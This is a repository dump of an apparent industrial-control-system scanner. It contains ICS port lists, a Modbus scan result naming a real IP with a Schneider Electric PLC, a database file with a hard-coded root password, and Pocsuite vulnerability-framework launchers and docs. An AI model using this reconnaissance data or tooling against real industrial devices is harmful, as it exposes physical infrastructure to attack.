├── .idea ├── .name ├── Narata.iml ├── encodings.xml ├── misc.xml ├── modules.xml ├── vcs.xml └── workspace.xml ├── modbus_scan.py ├── portscan ├── README.md ├── __init__.py ├── port.py ├── port.pyc └── scan.py ├── protocol ├── __init__.py ├── __init__.pyc ├── modbus.py └── modbus │ ├── __init__.py │ ├── __init__.pyc │ ├── ip.txt │ ├── modbud_e.py │ ├── modbus.py │ └── scan.txt ├── sql_db ├── __init__.py ├── __init__.pyc ├── connect.py └── connect.pyc ├── test.py ├── vulscan ├── Pocsuite │ ├── .gitignore │ ├── README.md │ ├── __init__.py │ ├── docs │ │ ├── CHANGELOG.md │ │ ├── CODING.md │ │ ├── COPYING │ │ ├── INTEGRATE.md │ │ ├── THANKS.md │ │ ├── USAGE.md │ │ ├── images │ │ │ ├── poc_json_attack.png │ │ │ └── poc_json_verify.png │ │ └── translations │ │ │ └── README-en.md │ ├── pcs-attack.py │ ├── pcs-console.py │ ├── pcs-verify.py │ ├── pocsuite.py │ ├── pocsuite │ │ ├── __init__.py │ │ ├── api │ │ │ ├── __init__.py │ │ │ ├── cannon.py │ │ │ ├── packet.py │ │ │ ├── poc.py │ │ │ ├── request.py │ │ │ ├── utils.py │ │ │ └── webshell.py │ │ ├── data │ │ │ ├── password-top100.txt │ │ │ ├── password-top1000.txt │ │ │ └── user-agents.txt │ │ ├── lib │ │ │ ├── __init__.py │ │ │ ├── controller │ │ │ │ ├── __init__.py │ │ │ │ ├── check.py │ │ │ │ ├── controller.py │ │ │ │ └── setpoc.py │ │ │ ├── core │ │ │ │ ├── __init__.py │ │ │ │ ├── common.py │ │ │ │ ├── consoles.py │ │ │ │ ├── convert.py │ │ │ │ ├── data.py │ │ │ │ ├── datatype.py │ │ │ │ ├── defaults.py │ │ │ │ ├── enums.py │ │ │ │ ├── exception.py │ │ │ │ ├── handlejson.py │ │ │ │ ├── log.py │ │ │ │ ├── option.py │ │ │ │ ├── poc.py │ │ │ │ ├── register.py │ │ │ │ ├── revision.py │ │ │ │ ├── settings.py │ │ │ │ └── threads.py │ │ │ ├── parse │ │ │ │ ├── __init__.py │ │ │ │ └── parser.py │ │ │ ├── request │ │ │ │ ├── __init__.py │ │ │ │ ├── basic.py │ │ │ │ └── requestspatch.py │ │ │ └── utils │ │ │ │ ├── __init__.py │ │ │ │ ├── funs.py │ │ │ │ ├── packet.py │ │ │ │ ├── parseopener.py │ │ │ │ ├── password.py │ │ │ │ ├── require.py │ │ │ │ ├── requirescheck.py │ │ │ │ ├── sebug.py │ │ │ │ ├── versioncheck.py │ │ │ │ └── webshell.py │ │ ├── modules │ │ │ └── tmp │ │ │ │ └── .keep │ │ ├── plugins │ │ │ ├── cmseasy_sql_poc.py │ │ │ ├── dede_download.php_sqli.php_poc.py │ │ │ ├── dede_guestbook_sqli_poc.py │ │ │ ├── dede_recommend.php_sqli_poc.py │ │ │ ├── dede_search.php_sqli_poc.py │ │ │ └── sql_poc.py │ │ ├── pocsuite_attack.py │ │ ├── pocsuite_cli.py │ │ ├── pocsuite_console.py │ │ ├── pocsuite_verify.py │ │ ├── tests │ │ │ ├── __init__.py │ │ │ └── update.py │ │ └── thirdparty │ │ │ ├── __init__.py │ │ │ ├── ansistrm │ │ │ ├── __init__.py │ │ │ └── ansistrm.py │ │ │ ├── argparse │ │ │ ├── __init__.py │ │ │ └── argparse.py │ │ │ ├── cmd2 │ │ │ ├── PKG-INFO │ │ │ ├── README.txt │ │ │ ├── __init__.py │ │ │ └── cmd2.py │ │ │ ├── colorama │ │ │ ├── __init__.py │ │ │ ├── ansi.py │ │ │ ├── ansitowin32.py │ │ │ ├── initialise.py │ │ │ ├── win32.py │ │ │ └── winterm.py │ │ │ ├── odict │ │ │ ├── __init__.py │ │ │ └── odict.py │ │ │ ├── oset │ │ │ ├── LICENSE.txt │ │ │ ├── __init__.py │ │ │ ├── _abc.py │ │ │ └── pyoset.py │ │ │ ├── prettytable │ │ │ ├── CHANGELOG │ │ │ ├── COPYING │ │ │ ├── MANIFEST.in │ │ │ ├── PKG-INFO │ │ │ ├── README │ │ │ ├── __init__.py │ │ │ └── prettytable.py │ │ │ ├── pyparsing │ │ │ ├── CHANGES │ │ │ ├── HowToUsePyparsing.html │ │ │ ├── LICENSE │ │ │ ├── PKG-INFO │ │ │ ├── README │ │ │ ├── __init__.py │ │ │ ├── htmldoc │ │ │ │ ├── api-objects.txt │ │ │ │ ├── class-tree.html │ │ │ │ ├── crarr.png │ │ │ │ ├── epydoc.css │ │ │ │ ├── epydoc.js │ │ │ │ ├── frames.html │ │ │ │ ├── help.html │ │ │ │ ├── identifier-index.html │ │ │ │ ├── index.html │ │ │ │ ├── module-tree.html │ │ │ │ ├── pyparsing.pyparsing-module.html │ │ │ │ ├── pyparsing.pyparsing-pysrc.html │ │ │ │ ├── pyparsing.pyparsing.And-class.html │ │ │ │ ├── pyparsing.pyparsing.CaselessKeyword-class.html │ │ │ │ ├── pyparsing.pyparsing.CaselessLiteral-class.html │ │ │ │ ├── pyparsing.pyparsing.CharsNotIn-class.html │ │ │ │ ├── pyparsing.pyparsing.Combine-class.html │ │ │ │ ├── pyparsing.pyparsing.Dict-class.html │ │ │ │ ├── pyparsing.pyparsing.Each-class.html │ │ │ │ ├── pyparsing.pyparsing.Empty-class.html │ │ │ │ ├── pyparsing.pyparsing.FollowedBy-class.html │ │ │ │ ├── pyparsing.pyparsing.Forward-class.html │ │ │ │ ├── pyparsing.pyparsing.GoToColumn-class.html │ │ │ │ ├── pyparsing.pyparsing.Group-class.html │ │ │ │ ├── pyparsing.pyparsing.Keyword-class.html │ │ │ │ ├── pyparsing.pyparsing.LineEnd-class.html │ │ │ │ ├── pyparsing.pyparsing.LineStart-class.html │ │ │ │ ├── pyparsing.pyparsing.Literal-class.html │ │ │ │ ├── pyparsing.pyparsing.MatchFirst-class.html │ │ │ │ ├── pyparsing.pyparsing.NoMatch-class.html │ │ │ │ ├── pyparsing.pyparsing.NotAny-class.html │ │ │ │ ├── pyparsing.pyparsing.OneOrMore-class.html │ │ │ │ ├── pyparsing.pyparsing.OnlyOnce-class.html │ │ │ │ ├── pyparsing.pyparsing.Optional-class.html │ │ │ │ ├── pyparsing.pyparsing.Or-class.html │ │ │ │ ├── pyparsing.pyparsing.ParseBaseException-class.html │ │ │ │ ├── pyparsing.pyparsing.ParseElementEnhance-class.html │ │ │ │ ├── pyparsing.pyparsing.ParseException-class.html │ │ │ │ ├── pyparsing.pyparsing.ParseExpression-class.html │ │ │ │ ├── pyparsing.pyparsing.ParseFatalException-class.html │ │ │ │ ├── pyparsing.pyparsing.ParseResults-class.html │ │ │ │ ├── pyparsing.pyparsing.ParseSyntaxException-class.html │ │ │ │ ├── pyparsing.pyparsing.ParserElement-class.html │ │ │ │ ├── pyparsing.pyparsing.QuotedString-class.html │ │ │ │ ├── pyparsing.pyparsing.RecursiveGrammarException-class.html │ │ │ │ ├── pyparsing.pyparsing.Regex-class.html │ │ │ │ ├── pyparsing.pyparsing.Regex.compiledREtype-class.html │ │ │ │ ├── pyparsing.pyparsing.SkipTo-class.html │ │ │ │ ├── pyparsing.pyparsing.StringEnd-class.html │ │ │ │ ├── pyparsing.pyparsing.StringStart-class.html │ │ │ │ ├── pyparsing.pyparsing.Suppress-class.html │ │ │ │ ├── pyparsing.pyparsing.Token-class.html │ │ │ │ ├── pyparsing.pyparsing.TokenConverter-class.html │ │ │ │ ├── pyparsing.pyparsing.Upcase-class.html │ │ │ │ ├── pyparsing.pyparsing.White-class.html │ │ │ │ ├── pyparsing.pyparsing.Word-class.html │ │ │ │ ├── pyparsing.pyparsing.WordEnd-class.html │ │ │ │ ├── pyparsing.pyparsing.WordStart-class.html │ │ │ │ ├── pyparsing.pyparsing.ZeroOrMore-class.html │ │ │ │ ├── pyparsing_2.0.2_docs.zip │ │ │ │ ├── redirect.html │ │ │ │ ├── toc-everything.html │ │ │ │ ├── toc-pyparsing.pyparsing-module.html │ │ │ │ └── toc.html │ │ │ ├── pyparsing.py │ │ │ ├── pyparsingClassDiagram.JPG │ │ │ ├── pyparsingClassDiagram.PNG │ │ │ ├── robots.txt │ │ │ └── setup.py │ │ │ ├── requests │ │ │ ├── __init__.py │ │ │ ├── adapters.py │ │ │ ├── api.py │ │ │ ├── auth.py │ │ │ ├── cacert.pem │ │ │ ├── certs.py │ │ │ ├── compat.py │ │ │ ├── cookies.py │ │ │ ├── exceptions.py │ │ │ ├── hooks.py │ │ │ ├── models.py │ │ │ ├── packages │ │ │ │ ├── __init__.py │ │ │ │ ├── chardet │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── big5freq.py │ │ │ │ │ ├── big5prober.py │ │ │ │ │ ├── chardetect.py │ │ │ │ │ ├── chardistribution.py │ │ │ │ │ ├── charsetgroupprober.py │ │ │ │ │ ├── charsetprober.py │ │ │ │ │ ├── codingstatemachine.py │ │ │ │ │ ├── compat.py │ │ │ │ │ ├── constants.py │ │ │ │ │ ├── cp949prober.py │ │ │ │ │ ├── escprober.py │ │ │ │ │ ├── escsm.py │ │ │ │ │ ├── eucjpprober.py │ │ │ │ │ ├── euckrfreq.py │ │ │ │ │ ├── euckrprober.py │ │ │ │ │ ├── euctwfreq.py │ │ │ │ │ ├── euctwprober.py │ │ │ │ │ ├── gb2312freq.py │ │ │ │ │ ├── gb2312prober.py │ │ │ │ │ ├── hebrewprober.py │ │ │ │ │ ├── jisfreq.py │ │ │ │ │ ├── jpcntx.py │ │ │ │ │ ├── langbulgarianmodel.py │ │ │ │ │ ├── langcyrillicmodel.py │ │ │ │ │ ├── langgreekmodel.py │ │ │ │ │ ├── langhebrewmodel.py │ │ │ │ │ ├── langhungarianmodel.py │ │ │ │ │ ├── langthaimodel.py │ │ │ │ │ ├── latin1prober.py │ │ │ │ │ ├── mbcharsetprober.py │ │ │ │ │ ├── mbcsgroupprober.py │ │ │ │ │ ├── mbcssm.py │ │ │ │ │ ├── sbcharsetprober.py │ │ │ │ │ ├── sbcsgroupprober.py │ │ │ │ │ ├── sjisprober.py │ │ │ │ │ ├── universaldetector.py │ │ │ │ │ └── utf8prober.py │ │ │ │ └── urllib3 │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── _collections.py │ │ │ │ │ ├── connection.py │ │ │ │ │ ├── connectionpool.py │ │ │ │ │ ├── contrib │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── ntlmpool.py │ │ │ │ │ └── pyopenssl.py │ │ │ │ │ ├── exceptions.py │ │ │ │ │ ├── fields.py │ │ │ │ │ ├── filepost.py │ │ │ │ │ ├── packages │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── ordered_dict.py │ │ │ │ │ ├── six.py │ │ │ │ │ └── ssl_match_hostname │ │ │ │ │ │ ├── __init__.py │ │ │ │ │ │ └── _implementation.py │ │ │ │ │ ├── poolmanager.py │ │ │ │ │ ├── request.py │ │ │ │ │ ├── response.py │ │ │ │ │ └── util │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── connection.py │ │ │ │ │ ├── request.py │ │ │ │ │ ├── response.py │ │ │ │ │ ├── retry.py │ │ │ │ │ ├── ssl_.py │ │ │ │ │ ├── timeout.py │ │ │ │ │ └── url.py │ │ │ ├── sessions.py │ │ │ ├── status_codes.py │ │ │ ├── structures.py │ │ │ └── utils.py │ │ │ ├── socks │ │ │ ├── PKG-INFO │ │ │ ├── __init__.py │ │ │ ├── setup.py │ │ │ ├── socks.py │ │ │ └── sockshandler.py │ │ │ └── termcolor │ │ │ ├── __init__.py │ │ │ └── termcolor.py │ └── setup.py ├── __init__.py ├── report.html ├── site ├── test.py └── vulscan.py └── web ├── .idea ├── copyright │ └── profiles_settings.xml ├── deployment.xml ├── dictionaries │ └── Narata.xml ├── modules.xml ├── php.xml ├── web.iml ├── webServers.xml └── workspace.xml ├── about.php ├── code.php ├── code_search.php ├── common.php ├── config.php ├── css ├── bootstrap-datetimepicker.min.css ├── bootstrap-theme.css ├── bootstrap-theme.css.map ├── bootstrap-theme.min.css ├── bootstrap.css ├── bootstrap.css.map ├── bootstrap.min.css ├── dashboard.css ├── docs.min.css ├── jquery.dataTables.css ├── jquery.snippet.min.css ├── jsoneditor.css ├── jumbotron.css ├── live-search.css ├── responsive-nav.css ├── skins │ ├── all.css │ ├── flat │ │ ├── _all.css │ │ ├── aero.css │ │ ├── aero.png │ │ ├── aero@2x.png │ │ ├── blue.css │ │ ├── blue.png │ │ ├── blue@2x.png │ │ ├── flat.css │ │ ├── flat.png │ │ ├── flat@2x.png │ │ ├── green.css │ │ ├── green.png │ │ ├── green@2x.png │ │ ├── grey.css │ │ ├── grey.png │ │ ├── grey@2x.png │ │ ├── orange.css │ │ ├── orange.png │ │ ├── orange@2x.png │ │ ├── pink.css │ │ ├── pink.png │ │ ├── pink@2x.png │ │ ├── purple.css │ │ ├── purple.png │ │ ├── purple@2x.png │ │ ├── red.css │ │ ├── red.png │ │ ├── red@2x.png │ │ ├── yellow.css │ │ ├── yellow.png │ │ └── yellow@2x.png │ ├── futurico │ │ ├── futurico.css │ │ ├── futurico.png │ │ └── futurico@2x.png │ ├── line │ │ ├── _all.css │ │ ├── aero.css │ │ ├── blue.css │ │ ├── green.css │ │ ├── grey.css │ │ ├── line.css │ │ ├── line.png │ │ ├── line@2x.png │ │ ├── orange.css │ │ ├── pink.css │ │ ├── purple.css │ │ ├── red.css │ │ └── yellow.css │ ├── minimal │ │ ├── _all.css │ │ ├── aero.css │ │ ├── aero.png │ │ ├── aero@2x.png │ │ ├── blue.css │ │ ├── blue.png │ │ ├── blue@2x.png │ │ ├── green.css │ │ ├── green.png │ │ ├── green@2x.png │ │ ├── grey.css │ │ ├── grey.png │ │ ├── grey@2x.png │ │ ├── minimal.css │ │ ├── minimal.png │ │ ├── minimal@2x.png │ │ ├── orange.css │ │ ├── orange.png │ │ ├── orange@2x.png │ │ ├── pink.css │ │ ├── pink.png │ │ ├── pink@2x.png │ │ ├── purple.css │ │ ├── purple.png │ │ ├── purple@2x.png │ │ ├── red.css │ │ ├── red.png │ │ ├── red@2x.png │ │ ├── yellow.css │ │ ├── yellow.png │ │ └── yellow@2x.png │ ├── polaris │ │ ├── polaris.css │ │ ├── polaris.png │ │ └── polaris@2x.png │ └── square │ │ ├── _all.css │ │ ├── aero.css │ │ ├── aero.png │ │ ├── aero@2x.png │ │ ├── blue.css │ │ ├── blue.png │ │ ├── blue@2x.png │ │ ├── green.css │ │ ├── green.png │ │ ├── green@2x.png │ │ ├── grey.css │ │ ├── grey.png │ │ ├── grey@2x.png │ │ ├── orange.css │ │ ├── orange.png │ │ ├── orange@2x.png │ │ ├── pink.css │ │ ├── pink.png │ │ ├── pink@2x.png │ │ ├── purple.css │ │ ├── purple.png │ │ ├── purple@2x.png │ │ ├── red.css │ │ ├── red.png │ │ ├── red@2x.png │ │ ├── square.css │ │ ├── square.png │ │ ├── square@2x.png │ │ ├── yellow.css │ │ ├── yellow.png │ │ └── yellow@2x.png └── style.css ├── dist.php ├── dist_hi.php ├── dist_search.php ├── documents.php ├── documents_ch.php ├── documents_en.php ├── fonts ├── glyphicons-halflings-regular.eot ├── glyphicons-halflings-regular.svg ├── glyphicons-halflings-regular.ttf └── glyphicons-halflings-regular.woff ├── icsfind.php ├── icsfind_add.php ├── icsfind_create.php ├── icsfind_search.php ├── images ├── 1.jpg ├── 2.jpg ├── 3.jpg ├── favicon.ico ├── help.png ├── ico │ ├── favicon.ico │ ├── lighting_hammer (2).png │ ├── lighting_hammer.png │ ├── lighting_hammer16.ico │ ├── lighting_hammer32.ico │ └── lighting_hammer48.ico ├── logo.ico ├── logo.jpg ├── shop.jpg ├── sort_asc.png ├── sort_both.png ├── sort_desc.png ├── subway.jpg ├── sunset.jpg └── wood.jpg ├── index.php ├── js ├── bootstrap-collapse.js ├── bootstrap-datetimepicker.min.js ├── bootstrap.min.js ├── foot-2-live-search.js ├── ie10-viewport-bug-workaround.js ├── jquery-1.10.2.min.js ├── jquery-1.11.1.min.js ├── jquery.dataTables.js ├── jquery.icheck.min.js ├── jquery.js ├── jquery.jsoneditor.js ├── jquery.min.js ├── jquery.min.map ├── jquery.pin.min.js ├── jquery.snippet.min.js ├── jsoneditor.js ├── jsoneditor.min.js ├── lang-apollo.js ├── lang-basic.js ├── lang-clj.js ├── lang-css.js ├── lang-dart.js ├── lang-erlang.js ├── lang-go.js ├── lang-hs.js ├── lang-lisp.js ├── lang-llvm.js ├── lang-lua.js ├── lang-matlab.js ├── lang-ml.js ├── lang-mumps.js ├── lang-n.js ├── lang-pascal.js ├── lang-proto.js ├── lang-r.js ├── lang-rd.js ├── lang-scala.js ├── lang-sql.js ├── lang-tcl.js ├── lang-tex.js ├── lang-vb.js ├── lang-vhdl.js ├── lang-wiki.js ├── lang-xq.js ├── lang-yaml.js ├── prettify.css ├── prettify.js ├── responsive-nav.js ├── run_prettify.js ├── searchbox.js └── unslider.min.js ├── login.php ├── login_check.php ├── logout.php ├── plugins.php ├── plugins_add.php ├── plugins_search.php ├── plugins_update.php ├── portscans.php ├── portscans_add.php ├── portscans_create.php ├── portscans_search.php ├── proxy.php ├── proxy_add.php ├── proxy_search.php ├── task.php ├── task_add.php ├── task_create.php ├── task_search.php ├── test.php ├── test.py ├── user.php ├── user_setting.php ├── user_token_refresh.php ├── vulns.php ├── vulns_add.php ├── vulns_search.php ├── vulscans.php ├── vulscans_add.php ├── vulscans_create.php └── vulscans_search.php /.idea/.name: -------------------------------------------------------------------------------- 1 | Narata -------------------------------------------------------------------------------- /.idea/Narata.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 11 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /portscan/README.md: -------------------------------------------------------------------------------- 1 | portScan 2 | ======== 3 | 4 | Simple port scan script in Python. Work is still in progress. 5 | portScan.py requires Python3 while scapyScan.py requires Python2.x. I'm working on writing both in same version. 6 | 7 | For Scapy scans using scapyScan.py script: 8 | 9 | Usage: scapyScan.py [options] 10 | 11 | Options: 12 | -h, --help show this help message and exit 13 | -t target.com, --target=target.com 14 | -p PORTS, --ports=PORTS Ports separated by commas and no spaces. 15 | -s [timeout in seconds], --timeout=[timeout in seconds] 16 | -S (c) TCP Connect, TCP (s) Stealth, (x)XMAS, or (f) FIN scan., --scantype=(c) TCP Connect, TCP (s) Stealth, (x)XMAS, or (f) FIN scan. 17 | 18 | More features coming soon 19 | -------------------------------------------------------------------------------- /portscan/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/portscan/__init__.py -------------------------------------------------------------------------------- /portscan/port.py: -------------------------------------------------------------------------------- 1 | """ 2 | There are some common port list,and server ! 3 | 4 | """ 5 | 6 | # ics port 7 | ics_port_list = [102,502,2404,20000,44818,47808,1911,9600,1962,20547,5007,789] 8 | 9 | # common port 10 | common_port_list = [ 11 | 1,5,7,9,11,13,17,18,19,20,21,22,23,25,37,39,42,43,49,50,53,63,67,68,69,70,71,72,73,73,79,80,88,95,101,102,105,107,109,110,111, 12 | 113,115,117,119,123,137,138,139,143,161,162,163,164,174,177,178,179,191,194,199,201,202,204,206,209,210,213,220,245,347,363,369, 13 | 370,372,389,427,434,435,443,444,445,464,468,487,488,496,500,535,538,546,547,554,563,565,587,610,611,612,631,636,674,694,749,750, 14 | 751,752,754,760,765,767,873,992,993,994,995,1080,1109,1236,1300,1433,1434,1494,1512,1524,1525,1645,1646,1649,1701,1718,1719,1720, 15 | 1758,1759,1789,1812,1813,1911,1985,1986,1997,2049,2053,2102,2103,2104,2105,2401,2430,2430,2431,2600,2601,2602,2603,2604,2605,2606, 16 | 2809,3130,3306,3346,4011,4321,4444,5002,5308,5999,6000,7000,7001,7002,7003,7004,7005,7006,7007,7008,7009,9876,10080,11371,11720, 17 | 13720,13721,13722,13724,13782,13783,22273,26000,26208,33434 18 | ] 19 | 20 | service_list = { 21 | 102:"Semens S7",502:"Modbus",2404:"IEC 60870-5-104",20000:"DNP3",44818:"EtherNet/IP",47808:"BACnet",1911:"Tridium Niagara Fox", 22 | 9600:"OMRON FINS",1962:"PCWorx",20547:"ProConOs",5007:"MELSEC-Q",789:"Crimson V3" 23 | } -------------------------------------------------------------------------------- /portscan/port.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/portscan/port.pyc -------------------------------------------------------------------------------- /protocol/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/protocol/__init__.py -------------------------------------------------------------------------------- /protocol/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/protocol/__init__.pyc -------------------------------------------------------------------------------- /protocol/modbus/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/protocol/modbus/__init__.py -------------------------------------------------------------------------------- /protocol/modbus/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/protocol/modbus/__init__.pyc -------------------------------------------------------------------------------- /protocol/modbus/ip.txt: -------------------------------------------------------------------------------- 1 | 109.3.164.230 -------------------------------------------------------------------------------- /protocol/modbus/scan.txt: -------------------------------------------------------------------------------- 1 | {'info': [(0, 'Device: Schneider Electric SAS TSXETY4103 V5.2 '), (255, 'Device: Schneider Electric SAS TSXETY4103 V5.2 ')], 'host': '109.3.164.230', 'port': 502} 2 | {'info': [(0, 'Device: Schneider Electric SAS TSXETY4103 V5.2 '), (255, 'Device: Schneider Electric SAS TSXETY4103 V5.2 ')], 'host': '109.3.164.230', 'port': 502} 3 | {'info': [(0, 'Device: Schneider Electric SAS TSXETY4103 V5.2 '), (255, 'Device: Schneider Electric SAS TSXETY4103 V5.2 ')], 'host': '109.3.164.230', 'port': 502} 4 | -------------------------------------------------------------------------------- /sql_db/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/sql_db/__init__.py -------------------------------------------------------------------------------- /sql_db/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/sql_db/__init__.pyc -------------------------------------------------------------------------------- /sql_db/connect.py: -------------------------------------------------------------------------------- 1 | import MySQLdb 2 | 3 | host = 'localhost' 4 | user = 'root' 5 | passwd = 'narata' 6 | db = 'hammer' 7 | port = 3306 8 | 9 | 10 | def connect_db(): 11 | try: 12 | con = MySQLdb.connect(host=host, user=user, passwd=passwd, db=db, port=port) 13 | return con 14 | except MySQLdb.Error: 15 | return False -------------------------------------------------------------------------------- /sql_db/connect.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/sql_db/connect.pyc -------------------------------------------------------------------------------- /test.py: -------------------------------------------------------------------------------- 1 | import sys 2 | print sys.path[6] -------------------------------------------------------------------------------- /vulscan/Pocsuite/.gitignore: -------------------------------------------------------------------------------- 1 | *.DS_Store 2 | *.egg-info 3 | *.log 4 | *.lprof 5 | *.py[cod] 6 | *.swp 7 | .coverage 8 | .svn 9 | .tox 10 | .idea/ 11 | bin 12 | build 13 | dist 14 | docs/_build 15 | include 16 | local 17 | man 18 | node_modules 19 | sdist 20 | venv 21 | pocsuite/modules/tmp/*.py 22 | test.py 23 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/__init__.py -------------------------------------------------------------------------------- /vulscan/Pocsuite/docs/CHANGELOG.md: -------------------------------------------------------------------------------- 1 | version 2.0 2 | --------------- 3 | * Integrate Seebug and ZoomEye APIs(doing) 4 | * Add English document(doing) 5 | * update webshell class 6 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/docs/INTEGRATE.md: -------------------------------------------------------------------------------- 1 | 集成 Pocsuite 2 | ---------- 3 | 4 | pocsuite/api/cannon.py 定义了 Cannon 类, 可以通过传递一个包含「待检测目标」,「 PoC 字符串」, 「检测模式」等内容的字典来获得 Cannon 类实例取名为 cannon, 之后通过 cannon.run 可以启动 Pocsuite 来进行检测, 此时 Pocsuite 将切换到静默模式不输出任何内容, 结束时返回一个记录此次运行结果的字典, 具体代码如下: 5 | 6 | ``` python 7 | from pocsuite.api.cannon import Cannon 8 | 9 | info = {"pocname": "PoC的名字", 10 | "pocstring": "PoC的字符串", 11 | "mode": "verify( or attack)" 12 | } 13 | 14 | target = "test.site" 15 | invoker = Cannon(target, info) # 生成用来引用 Pocsuite 的实例 16 | result = invoker.run() # 调用 Pocsuite, result 保存了 Pocsuite 执行的返回结果 17 | ``` 18 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/docs/THANKS.md: -------------------------------------------------------------------------------- 1 | wenshin 2 | * for contributing core code 3 | 4 | erevus 5 | * for contributing core code 6 | 7 | Fooying 8 | * for contributing core code 9 | 10 | Medici.Yan 11 | * for contributing doc 12 | 13 | phithon 14 | * for suggesting a couple of features 15 | 16 | 花开、若相惜 <635484364(at)qq.com> 17 | * for suggesting a couple of features 18 | 19 | GurdZain 20 | * for contributing a minor patch 21 | 22 | 1ookup <377101099(at)qq.com> 23 | * for contributing a minor patch 24 | 25 | Jeremy 26 | * for reporting a bug 27 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/docs/images/poc_json_attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/docs/images/poc_json_attack.png -------------------------------------------------------------------------------- /vulscan/Pocsuite/docs/images/poc_json_verify.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/narata/ICSScan/9d1db1a259c236f846579fc464ff62c49b108664/vulscan/Pocsuite/docs/images/poc_json_verify.png -------------------------------------------------------------------------------- /vulscan/Pocsuite/pcs-attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | import re 9 | import sys 10 | from pocsuite.lib.utils import versioncheck 11 | from pocsuite.pocsuite_attack import main 12 | 13 | if __name__ == '__main__': 14 | sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) 15 | sys.exit(main()) 16 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pcs-console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | import re 9 | import sys 10 | from pocsuite.lib.utils import versioncheck 11 | from pocsuite.pocsuite_console import main 12 | 13 | if __name__ == '__main__': 14 | sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) 15 | sys.exit(main()) 16 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pcs-verify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | import re 9 | import sys 10 | from pocsuite.lib.utils import versioncheck 11 | from pocsuite.pocsuite_verify import main 12 | 13 | if __name__ == '__main__': 14 | sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) 15 | sys.exit(main()) 16 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | import re 9 | import sys 10 | from pocsuite.lib.utils import versioncheck 11 | from pocsuite.pocsuite_cli import main 12 | 13 | if __name__ == '__main__': 14 | sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) 15 | sys.exit(main()) 16 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | __title__ = 'pocsuite' 10 | __version__ = '1.2.7' 11 | __author__ = 'seebug.org' 12 | __author_email__ = 's1@seebug.com' 13 | __license__ = 'GPL 2.0' 14 | __copyright__ = 'Copyright 2015 Knownsec' 15 | -------------------------------------------------------------------------------- /vulscan/Pocsuite/pocsuite/api/__init__.py: 